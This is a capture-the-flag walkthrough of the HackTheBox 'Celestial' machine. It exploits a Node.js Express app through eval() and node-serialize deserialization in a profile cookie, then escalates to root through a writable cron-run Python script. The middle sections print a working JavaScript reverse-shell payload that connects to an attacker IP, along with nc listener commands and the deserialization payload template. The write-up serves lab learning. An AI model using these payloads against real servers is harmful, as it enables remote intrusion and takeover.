../ HTB boot2root - Celestial (Medium)

The Celestial machine is a medium linux box.

If you are italian you might want to check out the related video.

#Getting a Foothold

#Port scanning

Doing basic scans with nmap gives us the following

  nmap -sC -sV celestial
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-26 00:48 CEST
Nmap scan report for celestial (10.129.152.32)
Host is up (0.052s latency).
Not shown: 999 closed ports
PORT     STATE SERVICE VERSION
3000/tcp open  http    Node.js Express framework
|_http-title: Site doesn't have a title (text/html; charset=utf-8).

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.50 seconds

As we can see we have a nodejs web server listening on port 3000. By doing a thorough scans of all the ports we don't get much else.

  nmap -p- celestial
  Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-26 00:48 CEST
  Stats: 0:02:04 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
  Connect Scan Timing: About 79.13% done; ETC: 00:51 (0:00:33 remaining)
  Nmap scan report for celestial (10.129.152.32)
  Host is up (0.053s latency).
  Not shown: 65534 closed ports
  PORT     STATE SERVICE
  3000/tcp open  ppp

  Nmap done: 1 IP address (1 host up) scanned in 158.77 seconds

This means that the only way to go in seems to be the nodejs server.

#Enumerating nodeJS server

When we go to the server at http://celestial:3000 we are met with the following screen

if we refresh the page however the response changes

Why is that? Well, let us explore the various requests/responses sent using the HTTP protocol between the client (our browser), and the server (our target). To do this we can launch burpsuite with the usual proxy on 127.0.0.1:8080, and then execute the chromium browser with the following option

chromium --proxy-server=127.0.0.1:8080

If we now reset the cache of the browser, and we once again connect to the web server two times (the first time to get the 404 response, and the second time to get the other response), we see the following: The first request we send to the browser is pretty much normal, and contains nothing weird or suspicious

GET / HTTP/1.1
Host: celestial:3000
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.92 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
If-None-Match: W/"15-iqbh0nIIVq2tZl3LRUnGx4TH3xg"
Connection: close

The first response the server sends to us contains something interesting: a set-cookie field, with a cookie value encoded in base64.

HTTP/1.1 200 OK
X-Powered-By: Express
Set-Cookie: profile=eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ%3D%3D; Max-Age=900; Path=/; Expires=Tue, 25 May 2021 23:11:02 GMT; HttpOnly
Content-Type: text/html; charset=utf-8
Content-Length: 12
ETag: W/"c-8lfvj2TmiRRvB7K+JPws1w9h6aY"
Date: Tue, 25 May 2021 22:56:02 GMT
Connection: close

<h1>404</h1>

Let us now consider the cookie value. By first url-deconding, and then base64-decoding it, we get the following json object

{"username":"Dummy","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"2"}

In the second request, the client (our browser), sends to the server the cookie value previously received (look at the Cookie header filed)

GET / HTTP/1.1
Host: celestial:3000
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.92 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: profile=eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ%3D%3D
If-None-Match: W/"c-8lfvj2TmiRRvB7K+JPws1w9h6aY"
Connection: close

And the server replies with the following

HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 21
ETag: W/"15-iqbh0nIIVq2tZl3LRUnGx4TH3xg"
Date: Tue, 25 May 2021 22:57:32 GMT
Connection: close

Hey Dummy 2 + 2 is 22

This suggests the following idea: what happens if we change the json object with something malicious, base64 encode it, and pass it instead of the original cookie? If the server code is not well written, we might be able to get something out of this.


To test our hypothesis let us consider the following json object

{"username":"Leo","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":a}

which gets base64 encoded to

eyJ1c2VybmFtZSI6IkxlbyIsImNvdW50cnkiOiJJZGsgUHJvYmFibHkgU29tZXdoZXJlIER1bWIiLCJjaXR5IjoiTGFtZXRvd24iLCJudW0iOmF9

If we send this to the server we get the following error

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <title>Error</title>
  </head>
  <body>
    <pre>
      SyntaxError: Unexpected token a
      <br> &nbsp; &nbsp;at Object.parse (native)
      <br> &nbsp; &nbsp;at Object.exports.unserialize (/home/sun/node_modules/node-serialize/lib/serialize.js:62:16)
      <br> &nbsp; &nbsp;at /home/sun/server.js:11:24
      <br> &nbsp; &nbsp;at Layer.handle [ashandle_request] (/home/sun/node_modules/express/lib/router/layer.js:95:5)
      <br> &nbsp; &nbsp;at next (/home/sun/node_modules/express/lib/router/route.js:137:13)
      <br> &nbsp; &nbsp;at Route.dispatch (/home/sun/node_modules/express/lib/router/route.js:112:3)
      <br> &nbsp; &nbsp;at Layer.handle [as handle_request] (/home/sun/node_modules/express/lib/router/layer.js:95:5)
      <br> &nbsp; &nbsp;atb /home/sun/node_modules/express/lib/router/index.js:281:22
      <br> &nbsp; &nbsp;at Function.process_params (/home/sun/node_modules/express/lib/router/index.js:335:12)
      <br> &nbsp; &nbsp;at next (/home/sun/node_modules/express/lib/router/index.js:275:10)
    </pre>
  </body>
</html>

From this error we get some useful data:

  1. We have a user named sun;

  2. The server.js code is using a library called unserialize to read the json object.

Even though from this error it does not come out, the server is actually also executing eval() on the num field of the JSON object. This extra information can be extracted if we put a random value like "asdsds" instead of a single "a".

#Exploiting RCE on nodeJS server

To recap what we have found in the previous section, we can get a RCE on the nodeJS server in two different ways:

  • By putting malicious code on the num field we can exploit the eval() function that is called by the server.

  • By putting malicious code on the username field we can exploit the unserialize() function that is called by the server. (for this exploit any field other than num will do fine.)

Let us now see in detail each way

#First way: RCE through eval()

The first way consists in exploiting the eval() function. By putting the following javascript code inside the num field of the object (as usual, remember to change IP/port appropriately).

var net = require('net'), cp = require('child_process'), sh = cp.spawn('/bin/sh', []); var client = new net.Socket(); client.connect(4321, '10.10.14.237', function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client);})

We can then base64-encode the resulting cookie and send it to the server to get a rev shell. The problem with this approach is that its a big buggy, since the server will execute two times in a row the code (this has to do with how the eval is written). This means that to actually get a connection we need to listen on two different shells on the same endpoint

nc -lvnp 4321 # shell 1
nc -lvnp 4321 # shell 2

Then when we send the request with the malicious cookie one of these shell will receive the reverse, but this reverse will print 4 lines for each command we send, so if we want a clearer input we will have to spawn another shell.


#Second way: RCE through unserialize()

The second approach is instead much cleaner, and it is documented in this very-well written article: Exploiting Node.js deserialization bug for Remote Code Execution.

The basic idea is to exploit the unserialize function so that when it reads the cookie value it will execute the code we will insert into the username field (before we used the num field).

To do this we can insert the js code necessary for a rev shell within the following json object

{"username":"_$$ND_FUNC$$_function (){<INSERT CODE HERE>}()", "country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"2"}

To actually generate the code one can use the following python script (also mentioned in the article): nodejsshell.py.

Once we have inserted the code, we can juse base64 encode it, listen in the given port, send the request, and get the shell back.

#Getting user flag

At this point we are inside the machine as the user sun, and the user flag can be immediately read as it can be found in the /home/sun/Documents/ folder.

  ls 
  Desktop    Downloads         Music         output.txt  Public     Templates
  Documents  examples.desktop  node_modules  Pictures    server.js  Videos
  ls Documents
  ls Documents
  script.py  user.txt

#Privilege Escalation

As far as the privesc goes, it is pretty simple. By using pspy64s we immediately realize that there is a cronjob that executes the python script scripy.py (also situated in /home/sun/Documents) as root.

#Getting root flag

By simply putting the code of a reverse shell in the script /home/sun/Documents/script.py we are able to spawn a shell as root.

The root flag is then situated in /root.

#Bonus

The actual js code executed by the nodeJS server is present in the home directory of sun, and its the following one

var express = require('express');
var cookieParser = require('cookie-parser');
var escape = require('escape-html');
var serialize = require('node-serialize');
var app = express();
app.use(cookieParser())

app.get('/', function(req, res) {
    if (req.cookies.profile) {
	var str = new Buffer(req.cookies.profile, 'base64').toString();
	var obj = serialize.unserialize(str); // ! vulnerable !
	if (obj.username) {
	    var sum = eval(obj.num + obj.num); // ! vulnerable !
	    res.send("Hey " + obj.username + " " + obj.num + " + " + obj.num + " is " + sum);
	}else{
	    res.send("An error occurred...invalid username type");
	}
    }else {
	res.cookie('profile', "eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ==", {
	    maxAge: 900000,
	    httpOnly: true
	});
    }
    res.send("<h1>404</h1>");
});
app.listen(3000);

As we can see, I've commented the two lines which were vulnerable.


To finish off by executing crontab -l as root we get the following

,*/5 * * * * python /home/sun/Documents/script.py > /home/sun/output.txt; cp /root/script.py /home/sun/Documents/script.py; chown sun:sun /home/sun/Documents/script.py; chattr -i /home/sun/Documents/script.py; touch -d "$(date -R -r /home/sun/Documents/user.txt)" /home/sun/Documents/script.py